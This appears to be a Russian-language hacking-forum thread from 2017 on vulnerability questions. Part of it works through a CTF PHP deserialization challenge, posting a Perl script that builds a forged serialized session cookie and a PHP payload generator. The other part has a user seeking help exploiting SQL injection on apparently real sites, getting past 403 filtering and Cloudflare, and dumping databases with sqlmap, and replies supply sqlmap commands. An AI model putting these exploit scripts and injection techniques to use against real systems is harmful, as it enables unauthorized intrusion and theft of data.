Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    спасибо за подсказку
    ненависть к создателю ArrayAccess переполняет моё сердце :( понимаю почему такое не хочется вспоминать
     
    _________________________
  2. foozzione

    foozzione Member

    Joined:
    20 Dec 2016
    Messages:
    79
    Likes Received:
    5
    Reputations:
    0
    вопрос:
    как я понял это скуля
    Code:
    MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-510,10' at line 1
    вызывается с помощью подстановки "-1" в пагинатор.
    Как раскрутить? sqlmap хватает 403ю и завершает работу
     
  3. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    294
    Likes Received:
    89
    Reputations:
    1
    sqlmap что выдает? sqlmap.py -u "URL" ............. -v 5
    Посмотри в каких случаях выкидывает 403, смотри что фильтруется
     
  4. foozzione

    foozzione Member

    Joined:
    20 Dec 2016
    Messages:
    79
    Likes Received:
    5
    Reputations:
    0
    Сейчас буду пробовать
     
  5. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Затянуло меня это задание, второй день копаюсь :) Но скила не хватает, правильно ли я понимаю, что главная фишка в поведении ArrayAccess?
     
  6. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    не то слово, я пару дней спать нормально не могу.. забрался далеко, но не достаточно(
    всё верно, фишка в ArrayAccess, маппер, который в конструкторе класса User
    Code:
        public function __construct() {
            parent::__construct($this, array(
                'id'   => array('type' => 'function', 'target' => 'id'),
                'name' => array('type' => 'function', 'target' => 'name')
            ));
        }
    
    определяет какая функцию этого класса будет вызвана, причем передавать параметры в вызов мы не можем, ибо вызов у нас один в файле demo.php

    Code:
    $name = $user->name; // Getting the current user name
    
    маппер передаётся сериализованным от клиента, другими словами мы можем подделать вызов функции на нужную переопределив вызываемый класс, он хранится в GenericMapper( который отнаследован от ArrayAccess ) $this->realObject
    чего я смог добиться... отправляю класс User и класс Debug
    в дебаг классе переопределяю переменную debugStateName с _DEBUG на flag, затем вызываю через модифицированный маппер функцию debugStateName( которая в debug классе )
    Code:
        public function getDebugState() {
            return $GLOBALS[$this->debugStateName];
        }
    
    в итоге мы получаем в $name флаг
    Code:
    $name = $user->name; // Getting the current user name
    
    но подвох в том что $name нигде не выводится
    конечно мы можем вызвать showNice или show из дебаг класса, но вызов то подменить мы можем только один..
    в общем я пока сам в тупике, могу скинуть рабочую версию скрипта, если нужно, который прокидывает в $name флаг
     
    _________________________
    crlf likes this.
  7. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    не могу понять где просчитался, что то упустил, в общем скрипт в спойлере если что
    Code:
    добавил var_dump в своей копии
    
    $ cat demo.php | grep -B 3 var_dump
    // Pull request are welcome.
    
    $name = $user->name; // Getting the current user name
    var_dump($name);
    
    $ grep -rn flag all.php
    10:$flag = 'FLAG-XXXXXXXXXXXX'; // Place your precious flag here !
    
    сам скрипт
    
    #!/usr/bin/perl
    
    use strict;
    use warnings;
    use MIME::Base64;
    
    
    my $str = '
    O:7:"Session":4:{
            s:2:"id";s:13:"587e46015cc88";
            s:5:"debug";O:5:"Debug":1:{s:21:"QQQDebugQQQdebugStateName";s:4:"flag";}
            s:4:"user";O:4:"User":5:{
                    s:10:"QQQUserQQQname";s:4:"zzzz";
                    s:8:"QQQUserQQQid";s:2:"qq";
                    s:24:"QQQGenericMapperQQQtempValue";s:8:"showNice";
                    s:18:"QQQGenericMapperQQQmap";a:3:{
                                        s:2:"id";a:2:{s:4:"type";s:8:"function";s:6:"target";s:2:"id";}
                                        s:4:"name";a:2:{s:4:"type";s:8:"function";s:6:"target";s:13:"getDebugState";}
                                        s:13:"getDebugState";a:2:{s:4:"type";s:8:"function";s:6:"target";s:13:"getDebugState";}
                                     }
                    s:25:"QQQGenericMapperQQQrealObject";r:3;
    
                       }
            s:4:"data";a:0:{}
          
            }
    ';
    
    $str =~s/[\s\n]//g;
    $str =~s/QQQ/\0/g;
    $str = encode_base64($str,'');
    $str =~s/=/%3D/g;
    $str =~s/\+/%2B/g;
    unless($str=~/[a-zA-Z0-9\%]+/)
    { print "hmmm\n$str\n";exit;}
    
    #print "curl -s -k 'http://ringzer0team.com:10001/demo.php' -H 'Cookie: rop_session=$str' -H 'Authorization: Basic Y3RmOmN0ZjIwMTU='\n";
    print "curl -s -k 'http://my-site-name.ru/demo.php' -H 'Cookie: rop_session=$str'\n";
    
    вызов
    
    ~/quest$ perl rop2.pl | /bin/bash | grep FLAG
    string(17) "FLAG-XXXXXXXXXXXX"
    
    
     
    _________________________
  8. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Я точно в таком же положении :) От безнадёги перешёл в режим рандома, пока безрезультатно.
    Обратил внимание ещё на один момент, switch идёт без break-ов, если $type = 0;, в функции __set отработют оба кейса 'function' и 'property'. Пока не пойму имеет ли это какое либо отношение к цепочке.
    Таск действительно крутой, будем думать дальше :)
     
  9. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    да ладно! ёмана это оно
    попробую с этим похимичить :)
    -------------------
    хотя __set непонятно как вызвать..
     
    _________________________
    #1649 t0ma5, 19 Jan 2017
    Last edited: 19 Jan 2017
  10. foozzione

    foozzione Member

    Joined:
    20 Dec 2016
    Messages:
    79
    Likes Received:
    5
    Reputations:
    0
    там cloudflare стоит, который новых юзеров держит 5 секунд перед заходом на сайт, есть решение?
     
  11. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    У меня в тестовом скрипте жёсткая каша, хрен разберёшь :) Побыстрому накидал небольшой скрипт для вызова __get/__set, надеюсь разберёшься:

    PHP:
    <?php
    class GenericMapper implements ArrayAccess{
       private 
    $map;
       private 
    $realObject;
       
       public function 
    __construct($realObject$map) {
         
    $this->map $map;
         
    $this->realObject $realObject;
       }
       
       public function 
    __set($name$value) {   }
       
       public function 
    __get($name) {   }
       
       public function 
    offsetExists($name) {
         return isset(
    $this->map[$name]);
       }
       
       public function 
    offsetUnset($name) {
         throw new 
    Exception('Not supported !');
       }
       
       public function 
    offsetSet($name$value) {
         return 
    $this->__set($name$value);
       }
       
       public function 
    offsetGet($name) {
         return 
    $this->__get($name);
       }
    }
    class 
    Debug {
       private 
    $debugStateName 'flag';
       private 
    $_instance 'ccc';
    }
    class 
    User extends GenericMapper{
       
         private 
    $name='aaa';
         private 
    $id='bbb';
         
           public function 
    __construct($realObject$map) {
             
    parent::__construct($realObject$map);
           }
    }
    class 
    Session { }
    $o = new Session;
    $o->user = new User(new Debug, array('name' => array('type' => 'function''target' => 'showNice')));
    echo 
    "\n__get:\n".urlencode(base64_encode(serialize($o)))."\n";
    $o = new User(new Debug, array('user' => array('type' => 'function''target' => 'showNice')));
    echo 
    "\n__set:\n".urlencode(base64_encode(serialize($o)))."\n";
    ?>
     
  12. foozzione

    foozzione Member

    Joined:
    20 Dec 2016
    Messages:
    79
    Likes Received:
    5
    Reputations:
    0
    вопрос: Есть скуля, в пост запросе, вызываю
    Code:
    ./sqlmap.py --url "http://site.ru/" --data "[email protected]" --random-agent --dbms=mysql
    
    но sqlmap ее не находит, что бы раскрутить, если отправляю в ручную, к примеру [email protected]' скуля срабатывает.
    Есть решения?
     
  13. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,236
    Likes Received:
    26,250
    Reputations:
    148
    Попробуй так!
    ./sqlmap.py -u http://site.ru/ --data="input1=[email protected]" --dbs --random-agent --dbms=mysql
     
  14. foozzione

    foozzione Member

    Joined:
    20 Dec 2016
    Messages:
    79
    Likes Received:
    5
    Reputations:
    0
    аналогично
     
  15. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,236
    Likes Received:
    26,250
    Reputations:
    148
    Ага, а что говорит...?
    Ты извини, я тут приболел немного - гриппую, и, видимо, от этого мои телепатические способности угасли резко...
     
  16. brown

    brown Member

    Joined:
    16 Oct 2016
    Messages:
    267
    Likes Received:
    12
    Reputations:
    1
    foozzione likes this.
  17. foozzione

    foozzione Member

    Joined:
    20 Dec 2016
    Messages:
    79
    Likes Received:
    5
    Reputations:
    0
    что то да... потерял я сноровку с задачей нормальных вопросов, сорян )
     
  18. foozzione

    foozzione Member

    Joined:
    20 Dec 2016
    Messages:
    79
    Likes Received:
    5
    Reputations:
    0
    как боженька, брагодарность
     
  19. foozzione

    foozzione Member

    Joined:
    20 Dec 2016
    Messages:
    79
    Likes Received:
    5
    Reputations:
    0
    есть ли возможность в .sql или любой другой формат дампануть себе бд через sqlmap? Пробовал --dump .... но он только выводит все в консоль
     
  20. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,236
    Likes Received:
    26,250
    Reputations:
    148
    Ну он всё сохраняет... ты внимательно изучи содержимое консоли после этой процедуры!
     
    foozzione likes this.